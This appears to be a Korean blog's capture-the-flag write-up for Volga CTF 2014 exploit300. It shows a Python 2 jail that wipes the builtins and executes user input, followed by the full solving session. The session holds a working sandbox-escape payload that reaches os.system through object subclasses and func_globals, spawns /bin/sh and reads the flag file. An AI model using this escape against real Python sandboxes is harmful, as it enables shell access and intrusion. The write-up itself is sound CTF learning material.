티스토리 뷰
Volga CTF 2014 exploit300
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | # Location: /home/john/exploit300.py from sys import modules modules.clear() del modules _raw_input = raw_input _BaseException = BaseException _EOFError = EOFError # he-he __builtins__.__dict__.clear() __builtins__ = None print '>>> Just escape me...' while 1: try: d = { 'x' : None} exec 'x='+_raw_input()[:500] in d print 'ret:', d['x'] except _EOFError, e: raise e except _BaseException, e: print 'Exception:', e | cs |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | >>> Just escape me... ().__class__.__base__.__subclasses__()[59] ret: <class 'warnings.catch_warnings'> ().__class__.__base__.__subclasses__()[59].__init__ ret: <unbound method catch_warnings.__init__> ().__class__.__base__.__subclasses__()[59].__init__.func_globals ret: {'filterwarnings': <function filterwarnings at 0xb747f8b4>, ...(omitted) ().__class__.__base__.__subclasses__()[59].__init__.func_globals["linecache"]. __dict__["os"] ret: <module 'os' from '/usr/lib/python2.7/os.pyc'> ().__class__.__base__.__subclasses__()[59].__init__.func_globals["linecache"]. __dict__["os"].system("/bin/sh") $ ls exploit300.py flag.txt $ cat flag.txt The flag is i_l0ve_marS | cs |
'Pwnable > CTF' 카테고리의 다른 글
GITS2012 [Pwnable 200] (0) | 2015.01.30 |
---|---|
Volga CTF 2014 [exploit 400] (0) | 2015.01.30 |
Volga CTF 2014 [exploit 100] (0) | 2015.01.28 |
CSAW 2012 [Challenge1] (0) | 2015.01.23 |
CodeGate 2014 [ Angry Doreamon ] (2) | 2015.01.14 |
댓글